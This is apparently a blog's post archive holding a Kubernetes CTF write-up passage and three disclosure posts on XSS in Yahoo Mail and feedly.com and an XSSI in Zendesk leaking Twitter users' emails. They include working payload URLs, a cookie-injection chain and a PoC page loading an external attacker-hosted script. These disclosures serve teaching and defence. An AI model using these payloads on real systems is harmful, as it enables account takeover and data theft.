requests to the service didn\u0026rsquo;t lead me to the flag. The challenge description mentioned a sidecar, indicating a shared network namespace. Additionally, the hint provided by the challenge logo pointed towards sniffing. Upon examining the open network connections, this idea was supported. Utilizing tcpdump to capture network traffic ultimately led us to uncover the flag.\n- Scan IP range:\n1 2 3 4 5 player@wiz-k8s-lan-party:~$ dnscan -subnet 10.100.*.* 43753 / 65536 [----------------------------------------------------------------------------------\u0026gt;________________________________________] 66.76% 967 p/s 10.100.171.123 reporting-service.k8s-lan-party.svc.cluster.local. 65405 / 65536 [--------------------------------------------------------------------------------------------------------------------------\u0026gt;] 99.80% 967 p/s10.100.171.123 -\u0026gt; reporting-service.k8s-lan-party.svc.cluster.local. - Get open connection:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 player@wiz-k8s-lan-party:~$ netstat -tnluap Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 192.168.4.203:44070 10.100.171.123:80 TIME_WAIT - tcp 0 0 192.168.4.203:40752 10.100.171.123:80 TIME_WAIT - tcp 0 0 192.168.4.203:41876 10.100.171.123:80 TIME_WAIT - tcp 0 0 192.168.4.203:46492 10.100.171.123:80 TIME_WAIT - tcp 0 0 192.168.4.203:46494 10.100.171.123:80 TIME_WAIT - tcp 0 0 192.168.4.203:41872 10.100.171.123:80 TIME_WAIT - tcp 0 0 192.168.4.203:34570 10.100.171.123:80 TIME_WAIT - tcp 0 0 192.168.4.203:34580 10.100.171.123:80 TIME_WAIT - tcp 0 0 192.168.4.203:40740 10.100.171.123:80 TIME_WAIT - tcp 0 0 192.168.4.203:59264 10.100.171.123:80 TIME_WAIT - tcp 0 0 192.168.4.203:59276 10.100.171.123:80 TIME_WAIT - tcp 0 0 192.168.4.203:44066 10.100.171.123:80 TIME_WAIT - - Capture traffic:\n1 2 3 4 5 player@wiz-k8s-lan-party:~$ tcpdump -A -i any dst host 10.100.171.123 | grep \u0026#34;wiz_k8s\u0026#34; tcpdump: verbose output suppressed, use -v[v]... for full protocol decode listening on any, link-type LINUX_SLL2 (Linux cooked v2), snapshot length 262144 bytes wiz_k8s_lan_party{good-crime-comes-with-a-partner-in-a-sidecar} 3. Data Leakage\nExposed File Share\nThe targeted big corp utilizes outdated, yet cloud-supported technology for data storage in production. But oh my, this technology was introduced in an era when access control was only network-based 🤦‍️.\nThis challenge was easy to solve, yet I encountered some difficulty to find a start point :D. It took me a while to comprehend what was clearly ponited out, NETWORK STORAGE! Upon inspecting the mount information it is apparent that the flag resides within flag.txt in the /efs directory, However we lack permission to access the content due to UID mapping. As observed in the mount information this is an EFS share. By manipulating the UID and GID, we can access the file content. However, the capabilities within this container are limited, preventing us from remounting or remapping the user ID through the creation of another namespace. Alternatively, we can communicate directly with the NFS server and modify our UID and GID using the nfs-cat and nfs-ls binaries.\n- Check mount:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 player@wiz-k8s-lan-party:~$ mount | grep nfs fs-0779524599b7d5e7e.efs.us-west-1.amazonaws.com:/ on /efs type nfs4 (ro,relatime,vers=4.1,rsize=1048576,wsize=1048576,namlen=255,hard,noresvport, proto=tcp,timeo=600,retrans=2,sec=sys,clientaddr=192.168.4.189, local_lock=none,addr=192.168.124.98) player@wiz-k8s-lan-party:~$ ls -lah /efs total 8.0K drwxr-xr-x 2 root root 6.0K Mar 11 11:43 . drwxr-xr-x 1 player player 51 Mar 19 09:03 .. ---------- 1 daemon daemon 73 Mar 11 13:52 flag.txt player@wiz-k8s-lan-party:/efs$ cat flag.txt cat: flag.txt: Permission denied - Change uid and gid:\n1 2 3 4 5 player@wiz-k8s-lan-party:~$ nfs-ls \u0026#34;nfs://192.168.124.98/?uid=0\u0026amp;gid=0\u0026amp;version=4\u0026#34; ---------- 1 1 1 73 flag.txt player@wiz-k8s-lan-party:~$ nfs-cat \u0026#34;nfs://192.168.124.98//flag.txt?uid=0\u0026amp;gid=0\u0026amp;version=4\u0026#34; wiz_k8s_lan_party{old-school-network-file-shares-infiltrated-the-cloud!} 4. Bypassing Boundaries\nThe Beauty and The Ist Apparently, new service mesh technologies hold unique appeal for ultra-elite users (root users). Don\u0026rsquo;t abuse this power; use it responsibly and with caution.\nAuthorizationPolicy:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 apiVersion: security.istio.io/v1beta1 kind: AuthorizationPolicy metadata: name: istio-get-flag namespace: k8s-lan-party spec: action: DENY selector: matchLabels: app: \u0026#34;{flag-pod-name}\u0026#34; rules: - from: - source: namespaces: [\u0026#34;k8s-lan-party\u0026#34;] to: - operation: methods: [\u0026#34;POST\u0026#34;, \u0026#34;GET\u0026#34;] This challenge presents us with an Istio AuthorizationPolicy. The policy restricts GET and POST requests to pods labeled with app: {flag-pod-name} from the k8s-lan-party namespace. Thus, our objective is to access a svc to obtain the flag. Initially, we must locate the svc address, typically done through DNS scanning. However, direct connection to the svc is hindered by the AuthorizationPolicy. To overcome this constraint, we leverage the operation of the istio-proxy sidecar container within the Pod, which operates under UID 1337. By transitioning to UID 1337, where the proxy does not impose any restrictions, we gain the ability to obtain the flag.\n- Finding Service:\n1 2 3 $ dnscan -subnet 10.100.*.* 57295 / 65536 [-----------------------------------------------------------------------------------------------------------\u0026gt;_______________] 87.43% 954 p/s10.100.224.159 istio-protected-pod-service.k8s-lan-party.svc.cluster.local. - Connecting to the Service:\n1 2 3 4 5 6 7 8 9 root@wiz-k8s-lan-party:~# curl -i istio-protected-pod-service.k8s-lan-party.svc HTTP/1.1 403 Forbidden content-length: 19 content-type: text/plain date: Sat, 23 Mar 2024 00:55:14 GMT server: envoy x-envoy-upstream-service-time: 1 RBAC: access denied - Substitute to the user istio:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 root@wiz-k8s-lan-party:~# cat /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin messagebus:x:101:101::/nonexistent:/usr/sbin/nologin _rpc:x:102:65534::/run/rpcbind:/usr/sbin/nologin statd:x:103:65534::/var/lib/nfs:/usr/sbin/nologin istio:x:1337:1337::/home/istio:/bin/sh player:x:1001:1001::/home/player:/bin/sh root@wiz-k8s-lan-party:~# su - istio su: warning: cannot change directory to /home/istio: No such file or directory - Sending Http request:\n1 2 3 4 5 6 7 8 9 10 $ curl -i istio-protected-pod-service.k8s-lan-party.svc.cluster.local HTTP/1.1 200 OK server: istio-envoy date: Fri, 15 Mar 2024 20:47:34 GMT content-type: text/plain x-envoy-upstream-service-time: 0 x-envoy-decorator-operation: istio-protected-pod-service.k8s-lan-party.svc.cluster.local:80/* transfer-encoding: chunked wiz_k8s_lan_party{only-leet-hex0rs-can-play-both-k8s-and-linux} 5. Lateral Movement\nWho will guard the guardians? Where pods are being mutated by a foreign regime, one could abuse its bureaucracy and leak sensitive information from the administrative services.\nPolicy:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 apiVersion: kyverno.io/v1 kind: Policy metadata: name: apply-flag-to-env namespace: sensitive-ns spec: rules: - name: inject-env-vars match: resources: kinds: - Pod mutate: patchStrategicMerge: spec: containers: - name: \u0026#34;*\u0026#34; env: - name: FLAG value: \u0026#34;{flag}\u0026#34; In this challenge, we\u0026rsquo;re tasked with utilizing a mutation policy in Kyverno to retrieve the flag. A specific policy has been provided, guiding us to create an appropriate AdmissionReview manifest with the given details. Our next step involves sending this manifest to the Kyverno service. Upon processing, Kyverno will perform mutations on the manifest, embedding the flag within the environment variables.\n- Finding Kyverno Services:\n1 2 3 4 5 6 7 $ dnscan -subnet 10.100.*. * 10.100.86.210 -\u0026gt; kyverno-cleanup-controller.kyverno.svc.cluster.local. 10.100.126.98 -\u0026gt; kyverno-svc-metrics.kyverno.svc.cluster.local. 10.100.158.213 -\u0026gt; kyverno-reports-controller-metrics.kyverno.svc.cluster.local. 10.100.171.174 -\u0026gt; kyverno-background-controller-metrics.kyverno.svc.cluster.local. 10.100.217.223 -\u0026gt; kyverno-cleanup-controller-metrics.kyverno.svc.cluster.local. 10.100.232.19 -\u0026gt; kyverno-svc.kyverno.svc.cluster.local. - Finding Endpoint:\n1 2 3 4 5 6 player@wiz-k8s-lan-party:~$ curl -s kyverno-svc-metrics.kyverno.svc:8000/metrics | grep \u0026#34;apply-flag-to-env\u0026#34; | less kyverno_http_requests_duration_seconds_bucket{http_method=\u0026#34;POST\u0026#34;,http_url=\u0026#34;/mutate?apply-flag-to-env\u0026#34;,otel_scope_name=\u0026#34;kyverno\u0026#34;,otel_scope_version=\u0026#34;\u0026#34;,le=\u0026#34;0.005\u0026#34;} 1 kyverno_http_requests_duration_seconds_bucket{http_method=\u0026#34;POST\u0026#34;,http_url=\u0026#34;/mutate?apply-flag-to-env\u0026#34;,otel_scope_name=\u0026#34;kyverno\u0026#34;,otel_scope_version=\u0026#34;\u0026#34;,le=\u0026#34;0.01\u0026#34;} 5 kyverno_http_requests_duration_seconds_bucket{http_method=\u0026#34;POST\u0026#34;,http_url=\u0026#34;/mutate?apply-flag-to-env\u0026#34;,otel_scope_name=\u0026#34;kyverno\u0026#34;,otel_scope_version=\u0026#34;\u0026#34;,le=\u0026#34;0.025\u0026#34;} 5 kyverno_http_requests_duration_seconds_bucket{http_method=\u0026#34;POST\u0026#34;,http_url=\u0026#34;/mutate?apply-flag-to-env\u0026#34;,otel_scope_name=\u0026#34;kyverno\u0026#34;,otel_scope_version=\u0026#34;\u0026#34;,le=\u0026#34;0.05\u0026#34;} 5 - Create an AdmisionReview manifest:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 { \u0026#34;kind\u0026#34;: \u0026#34;AdmissionReview\u0026#34;, \u0026#34;apiVersion\u0026#34;: \u0026#34;admission.k8s.io/v1\u0026#34;, \u0026#34;request\u0026#34;: { \u0026#34;uid\u0026#34;: \u0026#34;ab76586c-3d3f-4853-b60c-a750feb83072\u0026#34;, \u0026#34;kind\u0026#34;: { \u0026#34;group\u0026#34;: \u0026#34;\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;v1\u0026#34;, \u0026#34;kind\u0026#34;: \u0026#34;Pod\u0026#34; }, \u0026#34;resource\u0026#34;: { \u0026#34;group\u0026#34;: \u0026#34;\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;v1\u0026#34;, \u0026#34;resource\u0026#34;: \u0026#34;pods\u0026#34; }, \u0026#34;requestKind\u0026#34;: { \u0026#34;group\u0026#34;: \u0026#34;\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;v1\u0026#34;, \u0026#34;kind\u0026#34;: \u0026#34;Pod\u0026#34; }, \u0026#34;requestResource\u0026#34;: { \u0026#34;group\u0026#34;: \u0026#34;\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;v1\u0026#34;, \u0026#34;resource\u0026#34;: \u0026#34;pods\u0026#34; }, \u0026#34;name\u0026#34;: \u0026#34;inject-me\u0026#34;, \u0026#34;namespace\u0026#34;: \u0026#34;sensitive-ns\u0026#34;, \u0026#34;operation\u0026#34;: \u0026#34;CREATE\u0026#34;, \u0026#34;userInfo\u0026#34;: { \u0026#34;username\u0026#34;: \u0026#34;test\u0026#34;, \u0026#34;uid\u0026#34;: \u0026#34;a9cab43b-01e7-4e3d-86c7-bed3eca9c9de\u0026#34; }, \u0026#34;object\u0026#34;: { \u0026#34;kind\u0026#34;: \u0026#34;Pod\u0026#34;, \u0026#34;apiVersion\u0026#34;: \u0026#34;v1\u0026#34;, \u0026#34;metadata\u0026#34;: { \u0026#34;name\u0026#34;: \u0026#34;inject-me\u0026#34;, \u0026#34;namespace\u0026#34;: \u0026#34;sensitive-ns\u0026#34;, \u0026#34;creationTimestamp\u0026#34;: null }, \u0026#34;spec\u0026#34;: { \u0026#34;containers\u0026#34;: [ { \u0026#34;name\u0026#34;: \u0026#34;inject-me\u0026#34;, \u0026#34;image\u0026#34;: \u0026#34;alpine:latest\u0026#34;, \u0026#34;resources\u0026#34;: {} } ] }, \u0026#34;status\u0026#34;: {} }, \u0026#34;oldObject\u0026#34;: null, \u0026#34;dryRun\u0026#34;: true, \u0026#34;options\u0026#34;: { \u0026#34;kind\u0026#34;: \u0026#34;CreateOptions\u0026#34;, \u0026#34;apiVersion\u0026#34;: \u0026#34;meta.k8s.io/v1\u0026#34; } } } - Sending a mutation request to Kyverno svc:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 player@wiz-k8s-lan-party:~$ curl -sk -XPOST -H \u0026#34;Content-Type: application/json\u0026#34; https://kyverno-svc.kyverno.svc/mutate?apply-flag-to-env -d @raw | jq -r \u0026#34;.response.patch\u0026#34; | base64 -d | jq -C \u0026#34;.\u0026#34; [ { \u0026#34;op\u0026#34;: \u0026#34;add\u0026#34;, \u0026#34;path\u0026#34;: \u0026#34;/spec/containers/0/env\u0026#34;, \u0026#34;value\u0026#34;: [ { \u0026#34;name\u0026#34;: \u0026#34;FLAG\u0026#34;, \u0026#34;value\u0026#34;: \u0026#34;wiz_k8s_lan_party{you-are-k8s-net-master-with-great-power-to-mutate-your-way-to-victory}\u0026#34; } ] }, { \u0026#34;path\u0026#34;: \u0026#34;/metadata/annotations\u0026#34;, \u0026#34;op\u0026#34;: \u0026#34;add\u0026#34;, \u0026#34;value\u0026#34;: { \u0026#34;policies.kyverno.io/last-applied-patches\u0026#34;: \u0026#34;inject-env-vars.apply-flag-to-env.kyverno.io: added /spec/containers/0/env\\n\u0026#34; } } ] ","date":"2024-03-21T00:00:00Z","permalink":"/p/k8slanparty-writeup/","title":"K8sLanParty writeup"},{"content":"Summary:\nI discovered a XSS vulnerability in IO Utility [1] of YUI library. In this post I explained the vulnerability and it\u0026rsquo;s affect on Yahoo Mail. Details:\nThe ExternalInterface class in ActionScript is an application programming interface that enables communication between ActionScript and the SWF container. This class has a method named call() which invokes a JavaScript function if the container is a HTML page. It takes two parameters, the first one is the name of the JavaScript function to call and the other one is a string to pass to that JavaScript function. It is possible to execute malicious JavaScript in context of container if one of these parameters are attacker-controlled [2].\nIn IO Utility of YUI, io.swf (located at yui\\build\\io-xdr\\io.swf) was vulnerable to XSS. As you can see in figure 1, yid and uid are derived from user input and then used as a parameter in ExternalInterface.call() without any validation. Figure 1 - Vulnerable code By this vulnerability attacker could execute malicious JavaScript in context of io.swf container.\nPoC:\n1 http://localhost/io.swf?yid=\\\u0026#34;%29%29;}catch%28e%29{alert%28document.domain%29;}// Yahoo Mail was affected by this vulnerability because, io.swf was hosted at Yahoo mail main domain (fail!) and accessible from http://us-mg5.mail.yahoo.com/neo/ued/assets/flash/io.swf for logged in users.\nFigure 2 - io.swf hosted in Yahoo Mail domain How to exploit this issue:\nYahoo uses HTTPOnly flag for cookies so it\u0026rsquo;s not possible to hijack cookies but as io.swf is hosted in context of us-mg[x].yahoo.com I was able to execute JavaScript in context of us-mg[x].yahoo.com. For example by sending below URL to a Yahoo Mail user it was possible to read his inbox.\n1 http://us-mg5.mail.yahoo.com/neo/ued/assets/flash/io.swf?yid=\\%22%29%29;}catch%28e%29{x=window.open(\u0026#39;http://us-mg5.mail.yahoo.com/\u0026#39;);setTimeout(\u0026#39;alert(x.document.body.innerText)\u0026#39;,4000)}// In a future post I\u0026rsquo;ll explain the exploitation of this type of vulnerabilities. PoC Video:\nFix:\nJune 6th, YUI 3.10.1 released which fixed this issue. Fix is based on a regular expression which validates the yid and uid value.\nFigure 3 - Vulnerability fixed Yahoo Security team response:\nI was aware of this vulnerability for a long time but I didn\u0026rsquo;t interested to report it to Yahoo Security because my past experiences shows that nothing more than a T-shirt could be achieved (they don\u0026rsquo;t send it to Iran :P), even no credit for responsible disclosure when you report a vulnerability to Yahoo!\nHowever recently I sent an email and asked if they pay reward for responsible disclosure and they replied:\nFigure 4 - Yahoo Security team response References:\n[1] http://yuilibrary.com/yui/docs/io\n[2] http://help.adobe.com/en_US/FlashPlatform/reference/actionscript/3/flash/external/ExternalInterface.html\n","date":"2013-06-08T00:00:00Z","permalink":"/p/flash-based-xss-in-yahoo-mail/","title":"Flash based XSS in Yahoo Mail"},{"content":"Summary\nI found a persistence DOM based XSS vulnerability in feedly.com website. As it was not possible to exploit it directly without altering the cookies, I called it an unexploitable vulnerability! However, I could exploit it by using another XSS vulnerability which was in s3 subdomain of feedly.com website. This post explains what I have done to exploit this issue.\nDOM based XSS in feedly.com:\nFirst I found a DOM based XSS in feedly.com. As you can see in below picture the source is a cookie (feedlyVersion) and the sink is document.write(). Figure 1 - Picture of vulnerable code Normally we can\u0026rsquo;t exploit this issue because it\u0026rsquo;s not possible to control the value of \u0026lsquo;feedlyVersion\u0026rsquo; cookie and this is a less severe issue.\nBut in this type of vulnerability if attacker can control a cookie in a victim’s browser, then it can be assumed that exploitation is similar to other vectors where an attacker controls aspects of a user request, like a querystring value, or an HTTP POST name-value pair [1]. So the only way to exploit this DOM based XSS was adding a new cookie with the same name as \u0026lsquo;feedlyVersion\u0026rsquo; and our payload.\nFlash based XSS in s3.feedly.com:\nThen I tried to find another XSS vulnerability in feedly.com sub-domains. Quickly I found a vulnerable version of JWplayer [2] http://s3.feedly.com/production/@@@/flash/player.swf in s3.feedly.com. Figure 2 - Flash based XSS in s3.feedly.com Figure 3 - s3.feedly.com befor adding new cookie Through this vulnerability in s3.feedly.com subdomain It was possible to add a new cookie for *.feedly.com. Chaining these issues:\nTo successfully exploit this issue our new feedlyVersion cookie should be in front of original feedlyVersion in cookie string. I used the trick which Egor Homakov introduced in his \u0026ldquo;Hacking Github with Webkit\u0026rdquo; blogpost [3].\nA) Set a new cookie with feedlyVersion name and our payload for *.feedly.com:\n1 document.cookie=\u0026#34;feedlyVersion=\u0026#39;\u0026gt;\u0026lt;script\u0026gt;prompt(document.domain)\u0026lt;/script\u0026gt;;Domain=.feedly.com;Path=/;\u0026#34;; B) Moving our new feedlyVersion in front of the old one in cookie string:\n1 x1=window.open(\u0026#39;http://feedly.com/\u0026#39;);x1.close(); C) Redirecting user to http://feedly.com to execute our payload:\n1 location.href=\u0026#39;http://feedly.com\u0026#39; Finally putting all of them together:\n1 http://s3.feedly.com/production/@@@/flash/player.swf?debug=function(){document.cookie=\u0026#34;feedlyVersion=\u0026#39;\u0026gt;\u0026lt;script\u0026gt;prompt(document.domain)\u0026lt;/script\u0026gt;;Domain=.feedly.com;Path=/;\u0026#34;;x1=window.open(\u0026#39;http://feedly.com/\u0026#39;);x1.close();location.href=\u0026#39;http://feedly.com\u0026#39;} Figure 4 - feedly.com before adding new feedlyVersion cookie Figure 5 - s3.feedly.com after adding feedlyVersion cookie (by attacker) Figure 6 - feedly.com after adding new feedlyVersion cookie Figure 7 - Attacker controlled cookie delivered to the sink PoC Video:\nDisclosure Timeline:\nApril 8, 2013: Details of the vulnerabilities sent to Feedly.\nApril 8, 2013: Received reply, \u0026ldquo;Will take a look at them today\u0026rdquo;.\nApril 9, 2013: Received reply, \u0026ldquo;All issue have been fixed\u0026rdquo;.\nKudos to the Feedly team for fixing issues very quickly\nReferences:\n[1] http://media.blackhat.com/bh-ad-11/Lundeen/bh-ad-11-Lundeen-New_Ways_Hack_WebApp-WP.pdf\n[2] http://www.wooyun.org/bugs/wooyun-2010-07166\n[3] http://homakov.blogspot.com/2013/03/hacking-github-with-webkit.html\n","date":"2013-04-30T00:00:00Z","permalink":"/p/exploiting-an-unexploitable-persistence-dom-based-xss-in/","title":"Exploiting an unexploitable persistence DOM based XSS in feedly.com by using root domain cookies!"},{"content":"TL;DR Chaining a XSSI vulnerability in Zendesk and authorization issue in Twitter to access Twitter users\u0026rsquo; username and email address.\nWhat is Cross-Site script inclusion vulnerability?\nBrowsers prevent pages of one domain from reading pages in other domains. But they do not prevent pages of a domain from referencing resources in other domains. In particular, they allow images to be rendered from other domains and scripts to be executed from other domains. An included script doesn\u0026rsquo;t have its own security context. It runs in the security context of the page that included it. For example, if www.evil.example.com includes a script hosted on www.google.com then that script runs in the evil context not in the google context. So any user data in that script will \u0026ldquo;leak\u0026rdquo; [1].\nAnother definition:\nA flaw caused by the failure to secure sensitive JSON-like responses against being loaded on third-party sites via \u0026lt;script src=...\u0026gt;. User-specific information in the response may be leaked to attackers [2].\nDetail of Zendesk.com XSSI vulnerability:\nZendesk used a JavaScript file https://xyzxyzx.zendesk.com/generated/javascripts/user.js to store information of currently logged-in user. The most interesting data in this file was username and email address. It was possible to include this JavaScript file in a evil page, redirect user to evil page and access these information.\nAuthorization issue in Twitter!?:\nTwitter authorize Zendesk.com to access part of user data without any user interaction (I don\u0026rsquo;t know why this should happen silently). So is it a security issue? In my opinion it totally depends on what Twitter shares with Zendesk! Based on data in user.js file only Twitter users\u0026rsquo; username and email address are shared with Zendesk (Without user perimission). These are interesting but I think this is not a security issue or at least its impact is low. What happens when user request https://twitter.zendesk.com:\nChaining these issues:\nAs Twitter share users\u0026rsquo; info with Zendesk, vulnerabilities (XSS, XSSI, \u0026hellip;) in Zendesk could leak these data. To ensure that user is currently logged into https://twitter.zendesk.com we force user\u0026rsquo;s browser to send a request to https://twitter.zendesk.com\nLoad https://twitter.zendesk.com in a hidden iframe in evil page. With a delay load https://twitter.zendesk.com/generated/javascripts/user.js in script tag. PoC:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 \u0026lt;head\u0026gt; \u0026lt;script\u0026gt; function loadme() { address = [\u0026#39;https://assets.zendesk.com/assets/vendor/jquery-1.6.1-86096357efa9dc21044b775b3f361e15.js\u0026#39;, \u0026#39;https://twitter.zendesk.com/generated/javascripts/locale/0/1/1359507312.js\u0026#39;, \u0026#39;https://assets.zendesk.com/assets/bootstrap-f05ffba88f3ed500b90b259aa5512fc5.js\u0026#39;, \u0026#39;https://twitter.zendesk.com/generated/javascripts/user.js\u0026#39;, \u0026#39;http://coolhand.persiangig.com/b.js\u0026#39;]; for(var i=0;i\u0026lt;5;i++) { var tag=document.createElement(\u0026#39;script\u0026#39;); tag.type=\u0026#39;text/javascript\u0026#39;; tag.src=address[i]; handle=document.getElementsByTagName(\u0026#39;head\u0026#39;); handle[0].appendChild(tag); } } \u0026lt;/script\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;iframe src=\u0026#34;https://twitter.zendesk.com\u0026#34; frameborder=\u0026#34;0\u0026#34; width=\u0026#34;1\u0026#34; height=\u0026#34;1\u0026#34; onload=\u0026#34;loadme()\u0026#34;\u0026gt;\u0026lt;/iframe\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; PoC Video:\nAt that point I\u0026rsquo;ve prepared a quick PoC [3] and assumed that victim was logged into https://twitter.zendesk.com.\nResponse from Twitter and Zendesk: At first I\u0026rsquo;ve reported this issue to Twitter security, But they believed hat wasn\u0026rsquo;t related to Twitter and Zendesk should fix this issue. It\u0026rsquo;s obvious that who should fix the XSSI but as I mentioned Twitter authorize Zendesk to access users\u0026rsquo; data without any user interaction! Response from Twitter Security to this issue Then I reported this issue to Zendesk support team. It seems they fixed this issue now.\nResponse from Zendesk to this issue [1] http://google-gruyere.appspot.com/part3#3__cross_site_script_inclusion.\n[2] Zalewski. M, The Tangled Web: A Guide to Securing Modern Web Applications, 262.\n[3] http://coolhand.persiangig.com/d707206c0a186e3dd5fd4d605bec7d80.html.\n","date":"2013-03-15T00:00:00Z","permalink":"/p/xssi-in-zendesk-leaked-twitter-users-personal-information/","title":"XSSI in Zendesk leaked Twitter users' personal information"}]